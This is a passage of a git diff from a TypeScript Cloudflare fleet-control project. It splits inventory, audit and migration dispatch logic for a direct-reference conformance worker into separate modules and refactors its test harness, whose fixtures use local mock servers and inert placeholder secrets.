action.kind !== 'inventory-continue') + throw new DirectReferenceExecutionError(); + let advance: CloudflareFleetInventoryAdvanceAction; + if (action.kind === 'inventory-start') { + const stored = await context.journal.freezeStart(action.slot, async () => { + if (action.slot === 'inventory-after') { + const before = await selectedDirectGeneration( + context, + manifest, + 'inventory-before', + ); + await context.inventoryStore.pinGeneration({ + generation: before.generation, + pinnedBy: pinOwner(manifest, 'inventory-before'), + }); + } + const operationId = randomUUID(); + return { + operationId, + inputJson: JSON.stringify({ + kind: 'start', + operationId, + options: inventoryOptions(manifest), + }), + }; + }); + const start = inventoryStart(manifest, stored); + advance = + stored.tokenJson === null + ? start + : { kind: 'continue', token: directContinuation(stored, action) }; + } else { + const stored = await context.journal.readOperation(action.slot); + if (!stored) + throw new DirectReferenceExecutionError('missing-continuation'); + inventoryStart(manifest, stored); + advance = { kind: 'continue', token: directContinuation(stored, action) }; + } + const result = await context.control.advanceFleetInventory({ + action: advance, + maxProviderRequests: manifest.referenceRuntime.maxProviderRequests, + signal, + }); + await context.journal.rememberToken( + action.slot, + JSON.stringify(result.token), + ); + if (result.status === 'complete') { + await context.inventoryStore.pinGeneration({ + generation: result.generation.generation, + pinnedBy: pinOwner(manifest, action.slot), + }); + } + return result; +} diff --git a/packages/fleet-control/scripts/direct-reference-r4.ts b/packages/fleet-control/scripts/direct-reference-r4.ts new file mode 100644 index 00000000..d4e5358b --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-r4.ts @@ -0,0 +1,383 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { randomUUID } from 'node:crypto'; +import { + deploymentSpecDigest, + type FleetAuditAdvanceAction, + type FleetMigrationAdvanceAction, + type FleetMigrationItem, + type FleetRecord, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import { directContinuation } from './direct-reference-continuation.js'; +import type { + DirectAuditSlot, + DirectReferenceAction, +} from './direct-reference-contract.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { selectedDirectGeneration } from './direct-reference-inventory.js'; +import { + DirectReferenceJournalError, + type DirectStoredOperation, +} from './direct-reference-journal.js'; +import { + directSettlementHost, + recordDirectResource, +} from './direct-reference-observations.js'; + +type FleetSlot = DirectAuditSlot | 'migration-next'; +type AuditStart = Extract; +type MigrationStart = Extract; +const staleAfterMs = 60 * 60 * 1_000; + +function normalRole( + context: DirectReferenceContext, + record: FleetRecord, +): 'a' | 'b' { + const role = context.roleFor(record); + if (role === 'recovery') throw new DirectReferenceExecutionError(); + return role; +} + +function normalRecords( + context: DirectReferenceContext, + value: unknown, +): readonly FleetRecord[] { + if (!Array.isArray(value) || value.length !== 2) + throw new DirectReferenceJournalError(); + for (const [index, role] of ['a', 'b'].entries()) { + const record = value[index]; + if (!record || typeof record !== 'object' || Array.isArray(record)) + throw new DirectReferenceJournalError(); + if (normalRole(context, record) !== role) + throw new DirectReferenceJournalError(); + context.specFor(record); + } + return value; +} + +async function createStart( + context: DirectReferenceContext, + manifest: DirectRunManifest, + slot: FleetSlot, +) { + const records = await Promise.all( + (['a', 'b'] as const).map((role) => + context.control.getDeployment( + manifest.names.roles[role].tenantTag, + manifest.environment, + ), + ), + ); + if (records.some((record) => record === undefined)) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const selected = normalRecords(context, records); + const operationId = randomUUID(); + const action = + slot === 'migration-next' + ? { + kind: 'start' as const, + operationId, + records: selected, + canaryTenantTags: [manifest.names.roles.a.tenantTag], + } + : { + kind: 'start' as const, + operationId, + records: selected, + staleAfterMs, + generation: ( + await selectedDirectGeneration( + context, + manifest, + slot === 'audit-before' ? 'inventory-before' : 'inventory-after', + ) + ).generation, + }; + return { operationId, inputJson: JSON.stringify(action) }; +} + +function readStart( + context: DirectReferenceContext, + manifest: DirectRunManifest, + stored: DirectStoredOperation, +): + | { kind: 'audit'; action: AuditStart } + | { kind: 'migration'; action: MigrationStart } { + try { + if (stored.operationId === null) throw new DirectReferenceJournalError(); + const input = JSON.parse(stored.inputJson) as Record; + const records = normalRecords(context, input.records); + if (stored.slot === 'migration-next' && stored.kind === 'migration') { + const action: MigrationStart = { + kind: 'start', + operationId: stored.operationId, + records, + canaryTenantTags: [manifest.names.roles.a.tenantTag], + }; + if (stored.inputJson !== JSON.stringify(action)) + throw new DirectReferenceJournalError(); + return { kind: 'migration', action }; + } + if ( + (stored.slot !== 'audit-before' && stored.slot !== 'audit-after') || + stored.kind !== 'audit' + ) + throw new DirectReferenceJournalError(); + if ( + typeof input.generation !== 'number' || + !Number.isSafeInteger(input.generation) || + input.generation < 1 + ) + throw new DirectReferenceJournalError(); + const action: AuditStart = { + kind: 'start', + operationId: stored.operationId, + records, + staleAfterMs, + generation: input.generation, + }; + if (stored.inputJson !== JSON.stringify(action)) + throw new DirectReferenceJournalError(); + return { kind: 'audit', action }; + } catch { + throw new DirectReferenceJournalError(); + } +} + +function object(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) + throw new DirectReferenceJournalError(); + return value as Record; +} + +function claimRevision(json: unknown, operationId: string): number { + if (typeof json !== 'string') throw new DirectReferenceJournalError(); + const claim = object(JSON.parse(json)); + if ( + claim.operationId !== operationId || + typeof claim.revision !== 'number' || + !Number.isSafeInteger(claim.revision) || + claim.revision < 0 + ) + throw new DirectReferenceJournalError(); + return claim.revision; +} + +async function hasInterruption( + context: DirectReferenceContext, + manifest: DirectRunManifest, + operationId: string, +): Promise { + const raw = await context.journal.readInterruption(); + if (raw === null) return false; + try { + const value = object(JSON.parse(raw)), + item = object(value.item); + const before = claimRevision(value.claimJson, operationId), + after = claimRevision(value.returnedTokenJson, operationId); + if ( + after <= before || + typeof item.entryRecordDigest !== 'string' || + !/^[a-f0-9]{64}$/u.test(item.entryRecordDigest) + ) + throw new DirectReferenceJournalError(); + const expected = { + version: 1, + boundary: 'after-migration-admission', + slot: 'migration-next', + operationId, + claimJson: value.claimJson, + returnedTokenJson: value.returnedTokenJson, + item: { + ordinal: 0, + tenantTag: manifest.names.roles.a.tenantTag, + environment: manifest.environment, + entryRecordDigest: item.entryRecordDigest, + targetSpecDigest: deploymentSpecDigest(context.spec('a', 'next')), + beforeStatus: 'pending', + afterStatus: 'active', + planCursor: 0, + }, + }; + if (raw !== JSON.stringify(expected)) + throw new DirectReferenceJournalError(); + return true; + } catch { + throw new DirectReferenceJournalError(); + } +} + +function firstCanary( + item: FleetMigrationItem | undefined, + manifest: DirectRunManifest, +): item is FleetMigrationItem { + return ( + item?.ordinal === 0 && + item.tenantTag === manifest.names.roles.a.tenantTag && + item.environment === manifest.environment && + item.canaryRank === 0 + ); +} + +async function recordNormalResources( + context: DirectReferenceContext, + manifest: DirectRunManifest, +): Promise { + for (const role of ['a', 'b'] as const) { + const record = await context.control.getDeployment( + manifest.names.roles[role].tenantTag, + manifest.environment, + ); + if (record) { + if (normalRole(context, record) !== role) + throw new DirectReferenceExecutionError(); + await recordDirectResource(context, record, 'migration-read'); + } + } +} + +export async function dispatchDirectR4( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: DirectReferenceAction, + signal: AbortSignal, +): Promise { + if ( + !action.kind.startsWith('audit-') && + !action.kind.startsWith('migration-') + ) + throw new DirectReferenceExecutionError(); + const slot: FleetSlot = + 'slot' in action && + (action.slot === 'audit-before' || action.slot === 'audit-after') + ? action.slot + : 'migration-next'; + if ((slot === 'migration-next') !== action.kind.startsWith('migration-')) + throw new DirectReferenceExecutionError(); + const starting = + action.kind === 'audit-start' || action.kind === 'migration-start'; + const stored = starting + ? await context.journal.freezeStart(slot, () => + createStart(context, manifest, slot), + ) + : await context.journal.readOperation(slot); + if (!stored) throw new DirectReferenceJournalError('missing-start'); + const frozen = readStart(context, manifest, stored); + const operationId = frozen.action.operationId; + if (action.kind === 'audit-page') + return context.control.readFleetAuditFindingsPage({ + operationId, + limit: action.limit, + afterOrdinal: action.afterOrdinal, + }); + if (action.kind === 'migration-page') + return context.control.readFleetMigrationItemsPage({ + operationId, + limit: action.limit, + afterOrdinal: action.afterOrdinal, + }); + if (action.kind === 'audit-abandon') { + await context.control.abandonFleetAuditOperation(operationId); + return { operationId }; + } + if (action.kind === 'migration-abandon') { + await context.control.abandonFleetMigrationOperation(operationId); + return { operationId }; + } + const claim = + starting && stored.tokenJson === null + ? undefined + : directContinuation(stored, action); + if (frozen.kind === 'audit') { + const result = await context.control.advanceFleetAudit({ + action: + claim === undefined + ? frozen.action + : { kind: 'continue', token: claim }, + specFor: (record) => { + normalRole(context, record); + return context.specFor(record); + }, + maintenanceSecretFor: (record) => + context.secrets(normalRole(context, record)).maintenanceAdmin, + maxItemsPerCall: 1, + signal, + }); + await context.journal.rememberToken(slot, JSON.stringify(result.token)); + return result; + } + const observed = await hasInterruption(context, manifest, operationId); + const claimJson = claim === undefined ? undefined : JSON.stringify(claim); + const before = + !observed && claim !== undefined + ? ( + await context.control.readFleetMigrationItemsPage({ + operationId, + limit: 1, + }) + ).items[0] + : undefined; + const result = await context.control.advanceFleetMigration({ + action: + claim === undefined ? frozen.action : { kind: 'continue', token: claim }, + specFor: (record) => context.spec(normalRole(context, record), 'next'), + secretsFor: (record) => context.secrets(normalRole(context, record)), + settlementFor: (record) => { + normalRole(context, record); + return directSettlementHost(context, record); + }, + }); + await context.journal.rememberToken(slot, JSON.stringify(result.token)); + if ( + !observed && + claimJson !== undefined && + result.status === 'pending' && + result.itemOrdinal === 0 && + result.planCursor === 0 && + result.token.operationId === operationId && + result.token.revision > claimRevision(claimJson, operationId) && + firstCanary(before, manifest) && + before.status === 'pending' + ) { + const after = ( + await context.control.readFleetMigrationItemsPage({ + operationId, + limit: 1, + }) + ).items[0]; + if ( + firstCanary(after, manifest) && + after.status === 'active' && + after.planCursor === 0 && + after.entryRecordDigest === before.entryRecordDigest && + after.targetSpecDigest === deploymentSpecDigest(context.spec('a', 'next')) + ) { + const injected = await context.journal.recordInterruption( + JSON.stringify({ + version: 1, + boundary: 'after-migration-admission', + slot: 'migration-next', + operationId, + claimJson, + returnedTokenJson: JSON.stringify(result.token), + item: { + ordinal: 0, + tenantTag: after.tenantTag, + environment: after.environment, + entryRecordDigest: after.entryRecordDigest, + targetSpecDigest: after.targetSpecDigest, + beforeStatus: 'pending', + afterStatus: 'active', + planCursor: 0, + }, + }), + ); + if (injected) + throw new DirectReferenceExecutionError('injected-response-loss'); + } + } + await recordNormalResources(context, manifest); + return result; +} diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index bebe3219..7b88fa5d 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -1,28 +1,17 @@ // SPDX-License-Identifier: Apache-2.0 -import { randomUUID } from 'node:crypto'; -import type { CloudflareFleetInventoryAdvanceAction } from '@proofoftech/fleet-control/cloudflare-control-plane'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; import { createDirectReferenceContext, type DirectReferenceContext, type DirectReferenceEnvironment, } from './direct-reference-context.js'; -import { directContinuation } from './direct-reference-continuation.js'; -import type { - DirectInventorySlot, - DirectReferenceAction, -} from './direct-reference-contract.mjs'; -import { - DirectReferenceExecutionError, - handleDirectReferenceHttpRequest, -} from './direct-reference-http.js'; -import { - type DirectOperationSlot, - DirectReferenceJournalError, - type DirectStoredOperation, -} from './direct-reference-journal.js'; +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { handleDirectReferenceHttpRequest } from './direct-reference-http.js'; +import { dispatchDirectInventory } from './direct-reference-inventory.js'; +import type { DirectOperationSlot } from './direct-reference-journal.js'; import { dispatchDirectLifecycle } from './direct-reference-lifecycle.js'; +import { dispatchDirectR4 } from './direct-reference-r4.js'; import type { DirectReferenceTransportSnapshot } from './direct-reference-transport.js'; const operationSlots: readonly DirectOperationSlot[] = [ @@ -40,64 +29,6 @@ const operationSlots: readonly DirectOperationSlot[] = [ 'decommission-recovery', ]; -function inventoryOptions(manifest: DirectRunManifest) { - const prefix = `${manifest.resourcePrefix}-tenant-`; - return { - databaseNamePrefix: prefix, - scriptNamePrefix: prefix, - includeR2Buckets: true, - }; -} - -function inventoryStart( - manifest: DirectRunManifest, - stored: DirectStoredOperation, -) { - if (stored.kind !== 'inventory' || stored.operationId === null) - throw new DirectReferenceJournalError(); - const action = { - kind: 'start' as const, - operationId: stored.operationId, - options: inventoryOptions(manifest), - }; - if (stored.inputJson !== JSON.stringify(action)) - throw new DirectReferenceJournalError(); - return action; -} - -function pinOwner( - manifest: DirectRunManifest, - slot: DirectInventorySlot, -): string { - return `direct-reference:${manifest.resourcePrefix}:${slot}`; -} - -async function selectedGeneration( - context: DirectReferenceContext, - manifest: DirectRunManifest, - slot: DirectInventorySlot, -) { - const stored = await context.journal.readOperation(slot); - if (!stored) - throw new DirectReferenceJournalError('prerequisite-unavailable'); - const start = inventoryStart(manifest, stored); - const run = await context.inventoryStore.readRunByOperation( - start.operationId, - ); - if (run?.state !== 'finalized') - throw new DirectReferenceJournalError('prerequisite-unavailable'); - if ( - run.operationId !== start.operationId || - run.options.databaseNamePrefix !== start.options.databaseNamePrefix || - run.options.scriptNamePrefix !== start.options.scriptNamePrefix || - run.options.includeR2Buckets !== true || - run.options.includeDispatchNamespace !== false || - run.options.hostRoutingKvId !== undefined - ) - throw new DirectReferenceJournalError(); - return { operationId: run.operationId, generation: run.progress.generation }; -} - async function dispatch( context: DirectReferenceContext, manifest: DirectRunManifest, @@ -135,71 +66,14 @@ async function dispatch( interruption: await context.journal.readInterruption(), }; } - if (action.kind === 'inventory-read') { - const selected = await selectedGeneration(context, manifest, action.slot); - return { - ...selected, - inventory: await context.control.readFleetInventoryGeneration( - selected.generation, - ), - }; - } if ('role' in action) return dispatchDirectLifecycle(context, manifest, action, signal); - if (action.kind !== 'inventory-start' && action.kind !== 'inventory-continue') - throw new DirectReferenceExecutionError(); - let advance: CloudflareFleetInventoryAdvanceAction; - if (action.kind === 'inventory-start') { - const stored = await context.journal.freezeStart(action.slot, async () => { - if (action.slot === 'inventory-after') { - const before = await selectedGeneration( - context, - manifest, - 'inventory-before', - ); - await context.inventoryStore.pinGeneration({ - generation: before.generation, - pinnedBy: pinOwner(manifest, 'inventory-before'), - }); - } - const operationId = randomUUID(); - return { - operationId, - inputJson: JSON.stringify({ - kind: 'start', - operationId, - options: inventoryOptions(manifest), - }), - }; - }); - const start = inventoryStart(manifest, stored); - advance = - stored.tokenJson === null - ? start - : { kind: 'continue', token: directContinuation(stored, action) }; - } else { - const stored = await context.journal.readOperation(action.slot); - if (!stored) - throw new DirectReferenceExecutionError('missing-continuation'); - inventoryStart(manifest, stored); - advance = { kind: 'continue', token: directContinuation(stored, action) }; - } - const result = await context.control.advanceFleetInventory({ - action: advance, - maxProviderRequests: manifest.referenceRuntime.maxProviderRequests, - signal, - }); - await context.journal.rememberToken( - action.slot, - JSON.stringify(result.token), - ); - if (result.status === 'complete') { - await context.inventoryStore.pinGeneration({ - generation: result.generation.generation, - pinnedBy: pinOwner(manifest, action.slot), - }); - } - return result; + if ( + 'slot' in action && + (action.slot === 'inventory-before' || action.slot === 'inventory-after') + ) + return dispatchDirectInventory(context, manifest, action, signal); + return dispatchDirectR4(context, manifest, action, signal); } export function createDirectReferenceWorker( diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index a870fe8a..a3be6712 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -14,6 +14,7 @@ "direct-reference-context.ts", "direct-reference-observations.ts", "direct-reference-lifecycle.ts", + "direct-reference-r4.ts", "direct-reference-worker.ts" ], "include": [] diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 629c2da8..d64eb44e 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -1681,6 +1681,7 @@ export class PlainWorkerBackend implements ProvisioningBackend { ) .sort((left, right) => left.name.localeCompare(right.name)); const plainText = this.#plainTextBindings(version); + const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST'); const expectedServiceBindings = spec.egressProxyService ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] : []; @@ -1696,13 +1697,14 @@ export class PlainWorkerBackend implements ProvisioningBackend { databaseIds.length !== 1 || plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - JSON.stringify(serviceBindings) !== - JSON.stringify(expectedServiceBindings) || - JSON.stringify(queueProducerBindings) !== - JSON.stringify(expectedQueueProducerBindings) || - canonicalApplicationBindings(spec).vars.some( - ({ name, value }) => plainText.get(name) !== value, - ) + (desiredSpecDigest === deploymentSpecDigest(spec) && + (JSON.stringify(serviceBindings) !== + JSON.stringify(expectedServiceBindings) || + JSON.stringify(queueProducerBindings) !== + JSON.stringify(expectedQueueProducerBindings) || + canonicalApplicationBindings(spec).vars.some( + ({ name, value }) => plainText.get(name) !== value, + ))) ) { throw new Error( `script '${spec.scriptName}' has a different resource mapping`, @@ -1711,7 +1713,6 @@ export class PlainWorkerBackend implements ProvisioningBackend { const databaseId = databaseIds[0]; if (!databaseId) throw new Error('D1 binding has no database id'); const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION')); - const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST'); if ( !Number.isSafeInteger(schemaVersion) || !desiredSpecDigest || diff --git a/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts new file mode 100644 index 00000000..31e6422f --- /dev/null +++ b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { expect, it } from 'vitest'; +import { restProjection } from './fixtures/cloudflare-fetch-fixture.js'; +import { providerWorld } from './fixtures/provider-world.js'; + +it.each([ + '/zones?account.id=account', + '/accounts/account/d1/database', + '/accounts/account/workers/scripts', + '/accounts/account/workers/durable_objects/namespaces', + '/accounts/account/workers/scripts/page-script/secrets', + '/accounts/account/workers/scripts/page-script/versions', +])('treats explicit first page as the initial provider page: %s', async (path) => { + const world = providerWorld(); + world.zones.push({ id: 'page-zone' }); + world.createDatabase('page-database'); + world.applyUpload({ + scriptName: 'page-script', + mode: 'initial', + tag: 'page-tag', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + bindings: [ + { type: 'secret_text', name: 'SECRET', text: 'inert' }, + { + type: 'durable_object_namespace', + name: 'RUNNER', + class_name: 'Runner', + }, + ], + }); + const handler = restProjection(world); + async function page(number?: number) { + const url = new URL(`https://api.cloudflare.com/client/v4${path}`); + if (number !== undefined) url.searchParams.set('page', String(number)); + const response = await handler({ + method: 'GET', + url: url.href, + headers: new Headers(), + body: undefined, + redirect: 'manual', + }); + const value = (await response.json()) as { + result: unknown[] | { items: unknown[] }; + }; + return Array.isArray(value.result) ? value.result : value.result.items; + } + const initial = await page(); + expect(initial).toHaveLength(1); + expect(await page(1)).toEqual(initial); + expect(await page(2)).toEqual([]); +}); diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index bc8fcdb7..d6e2ecaf 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -1,419 +1,29 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { mkdtemp, rm, writeFile } from 'node:fs/promises'; -import { createServer, type Server } from 'node:http'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { Readable } from 'node:stream'; -import { fileURLToPath } from 'node:url'; -import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import { createTestHarness, type TestHarness } from 'wrangler'; -import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js'; -import { - DIRECT_REFERENCE_PATH, - type DirectReferenceAction, -} from '../scripts/direct-reference-contract.mjs'; -import { DirectReferenceJournal } from '../scripts/direct-reference-journal.js'; import type { CleanupAdvanceResult } from '../src/cleanup-advance.js'; -import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js'; import type { DecommissionAdvanceResult } from '../src/decommission-advance.js'; -import { D1FleetStateStore } from '../src/state-store.js'; -import type { DeploymentSecrets } from '../src/types.js'; -import { - type CloudflareFixtureRequest, - recordingFetch, - restProjection, - single, -} from './fixtures/cloudflare-fetch-fixture.js'; -import { directFixtureManifest } from './fixtures/direct-credentialed-config.js'; import { - maintenanceResponder, - providerWorld, -} from './fixtures/provider-world.js'; - -const manifest = directFixtureManifest(); -const roles = ['a', 'b', 'recovery'] as const; -function fixtureSecrets(role: string): DeploymentSecrets { - return { - deploymentIdentity: `identity-${role}`.padEnd(40, 'i'), - maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'), - application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') }, - }; -} -const secrets = { - a: fixtureSecrets('a'), - b: fixtureSecrets('b'), - recovery: fixtureSecrets('recovery'), -}; -const binding = { - version: 1, - accountId: 'account', - fleetDatabaseId: '00000000-0000-0000-0000-000000000011', - quotaDatabaseId: '00000000-0000-0000-0000-000000000012', - exportBucketName: manifest.names.exportBucket, - referenceModuleSetSha256: 'c'.repeat(64), - accountWorkersDevSubdomain: 'direct-fixture', -}; -const specs = roles.map((role) => - directDeploymentSpec(manifest, role, 'initial', secrets[role], binding), -); + createDirectReferenceHarness, + type DirectReferenceHarness, +} from './fixtures/direct-reference-harness.js'; describe.sequential('direct lifecycle through native control state', { timeout: 180_000, }, () => { - let directory: string; - let server: TestHarness; - let bridge: Server; - let db: D1Database; - let fleetStore: D1FleetStateStore; - let applicationBytes: R2Bucket; - let exportBytes: R2Bucket; - const world = providerWorld('uuid'); - const bridgeErrors: unknown[] = []; - const sqlFailures: string[] = []; - const buckets = new Map< - string, - { name: string; jurisdiction: string; creation_date: string } - >(); - const rest = restProjection(world); - async function providerRest( - request: CloudflareFixtureRequest, - ): Promise { - try { - return await rest(request); - } catch (error) { - if ( - new URL(request.url).pathname.endsWith('/query') && - error instanceof Error && - 'code' in error && - error.code === 'ERR_SQLITE_ERROR' - ) { - sqlFailures.push(error.message); - return Response.json( - { - success: false, - errors: [{ code: 1, message: 'fixture SQL query failed' }], - }, - { status: 400 }, - ); - } - throw error; - } - } - const projection = recordingFetch(async (request) => { - const url = new URL(request.url); - const spec = specs.find( - (candidate) => candidate.maintenanceBaseUrl === url.origin, - ); - if (spec) { - const override = request.headers.get( - 'Cloudflare-Workers-Version-Overrides', - ); - const script = world.scripts.get(spec.scriptName); - if (override) { - const selected = override.match(/^([^=]+)="([^"]+)"$/u); - if ( - selected?.[1] !== spec.scriptName || - !script?.versions.some((version) => version.versionId === selected[2]) - ) - return new Response('invalid fixture version', { status: 409 }); - } - const view = new Proxy(world, { - get(target, key) { - if (key === 'maintenanceOrigin') return spec.maintenanceBaseUrl; - if (key === 'routeOrigin') return `https://${spec.routeHostname}`; - if (key === 'scripts') - return new Map(script ? [[spec.scriptName, script]] : []); - const value = Reflect.get(target, key); - return typeof value === 'function' ? value.bind(target) : value; - }, - }); - return ( - (await maintenanceResponder(view, request)) ?? - new Response('unknown fixture maintenance route', { status: 404 }) - ); - } - if (url.origin === 'https://d1-export.example.test') { - expect(request.headers.has('Authorization')).toBe(false); - return providerRest(request); - } - if (url.origin !== 'https://api.cloudflare.com') - throw new Error('unexpected fixture origin'); - const match = url.pathname.match( - /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u, - ); - if (!match) return providerRest(request); - const jurisdiction = request.headers.get('cf-r2-jurisdiction') ?? 'default'; - const name = match[1] ? decodeURIComponent(match[1]) : undefined; - if (!name && request.method === 'POST') { - const requested = (request.body as { name?: unknown }).name; - const records = await Promise.all( - specs.map((spec) => fleetStore.get(spec.tenantTag, spec.environment)), - ); - if ( - typeof requested !== 'string' || - !records.some((record) => - record?.applicationResources?.some( - (resource) => - resource.bucketName === requested && - resource.jurisdiction === jurisdiction && - resource.state === 'create-authorized', - ), - ) - ) - throw new Error('unexpected fixture bucket'); - const key = `${jurisdiction}:${requested}`; - if (buckets.has(key)) - return new Response('bucket exists', { status: 409 }); - const descriptor = { - name: requested, - jurisdiction, - creation_date: new Date().toISOString(), - }; - buckets.set(key, descriptor); - return single(descriptor); - } - if (!name && request.method === 'GET') { - const selected = [...buckets.values()] - .filter( - (bucket) => - bucket.jurisdiction === jurisdiction && - bucket.name.includes(url.searchParams.get('name_contains') ?? '') && - bucket.name > (url.searchParams.get('start_after') ?? ''), - ) - .sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0)); - return single({ buckets: selected }); - } - const key = `${jurisdiction}:${name}`; - const descriptor = buckets.get(key); - if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); - const prefix = `${key}/`; - if (match[2] && request.method === 'GET') { - expect(url.searchParams.get('per_page')).toBe('1'); - const objects = await applicationBytes.list({ - prefix, - limit: 1, - ...(url.searchParams.get('cursor') - ? { cursor: url.searchParams.get('cursor') as string } - : {}), - }); - return Response.json({ - success: true, - errors: [], - messages: [], - result: objects.objects.map((object) => ({ - key: object.key.slice(prefix.length), - })), - result_info: objects.truncated ? { cursor: objects.cursor } : {}, - }); - } - if (!match[2] && request.method === 'GET') return single(descriptor); - if (!match[2] && request.method === 'DELETE') { - const objects = await applicationBytes.list({ prefix, limit: 1 }); - if (objects.objects.length) - return new Response('bucket nonempty', { status: 409 }); - buckets.delete(key); - return single({}); - } - throw new Error('unexpected fixture R2 method'); - }); - + let fixture: DirectReferenceHarness; beforeAll(async () => { - directory = await mkdtemp(join(tmpdir(), 'direct-lifecycle-')); - bridge = createServer(async (incoming, outgoing) => { - try { - const original = incoming.headers['x-direct-fixture-url']; - if (typeof original !== 'string' || incoming.url !== '/') - throw new Error('invalid fixture bridge request'); - const headers = new Headers(); - for (const [name, values] of Object.entries(incoming.headers)) { - if ( - name === 'x-direct-fixture-url' || - name === 'host' || - values === undefined - ) - continue; - for (const value of Array.isArray(values) ? values : [values]) - headers.append(name, value); - } - const method = incoming.method ?? 'GET'; - const init = { - method, - headers, - body: - method === 'GET' || method === 'HEAD' - ? undefined - : Readable.toWeb(incoming), - duplex: 'half' as const, - }; - const request = new Request(original, init as RequestInit); - const body = request.body - ? request.headers.get('content-type')?.includes('multipart/form-data') - ? await request.formData() - : await request.text() - : undefined; - const response = await projection.fetch(original, { - method, - headers, - body, - redirect: 'manual', - }); - outgoing.writeHead( - response.status, - Object.fromEntries(response.headers), - ); - outgoing.end(Buffer.from(await response.arrayBuffer())); - } catch (error) { - bridgeErrors.push(error); - outgoing.statusCode = 500; - outgoing.end('fixture handler failed'); - } - }); - await new Promise((resolve) => - bridge.listen(0, '127.0.0.1', resolve), - ); - const address = bridge.address(); - if (!address || typeof address === 'string') - throw new Error('missing fixture listener'); - const main = join(directory, 'worker.ts'); - const workerSource = fileURLToPath( - new URL('../scripts/direct-reference-worker.ts', import.meta.url), - ); - await writeFile( - main, - `import {createDirectReferenceWorker} from ${JSON.stringify(workerSource)}; -const worker=createDirectReferenceWorker(${JSON.stringify(manifest)},{fetch:async(input,init)=>{const request=new Request(input,init);if(request.url==='data:,')return fetch(request);const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return fetch('http://127.0.0.1:${address.port}/',{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual'});}}); -export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLARE_API_TOKEN:'inert-provider-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'inert-invoke',DIRECT_RUN_BINDING:${JSON.stringify(JSON.stringify(binding))},DIRECT_DEPLOYMENT_SECRETS:${JSON.stringify(JSON.stringify(secrets))}});}};`, - ); - server = createTestHarness({ - root: directory, - workers: [ - { - config: { - name: 'direct-lifecycle-harness', - main, - compatibility_date: '2026-08-06', - compatibility_flags: ['nodejs_compat'], - d1_databases: [ - { - binding: 'FLEET_DB', - database_name: 'lifecycle-fleet', - database_id: binding.fleetDatabaseId, - }, - { - binding: 'QUOTA_DB', - database_name: 'lifecycle-quota', - database_id: binding.quotaDatabaseId, - }, - ], - r2_buckets: [ - { binding: 'EXPORTS', bucket_name: binding.exportBucketName }, - { - binding: 'APPLICATION_BYTES', - bucket_name: 'fixture-application-bytes', - }, - ], - }, - }, - ], - }); - await server.listen(); - const env = await server - .getWorker<{ - FLEET_DB: D1Database; - EXPORTS: R2Bucket; - APPLICATION_BYTES: R2Bucket; - }>() - .getEnv(); - db = env.FLEET_DB; - fleetStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { - accountId: binding.accountId, - }); - exportBytes = env.EXPORTS; - applicationBytes = env.APPLICATION_BYTES; + fixture = await createDirectReferenceHarness(); }, 60_000); - afterAll(async () => { - const closed = await Promise.allSettled([ - (async () => server?.close())(), - (async () => { - if (bridge) { - bridge.closeAllConnections(); - await new Promise((resolve, reject) => - bridge.close((error) => (error ? reject(error) : resolve())), - ); - } - })(), - ]); - const failures = closed.flatMap((result) => - result.status === 'rejected' ? [result.reason] : [], - ); - try { - if (directory) await rm(directory, { recursive: true, force: true }); - } catch (error) { - failures.push(error); - } - if (failures.length) - throw new AggregateError( - failures, - 'direct lifecycle 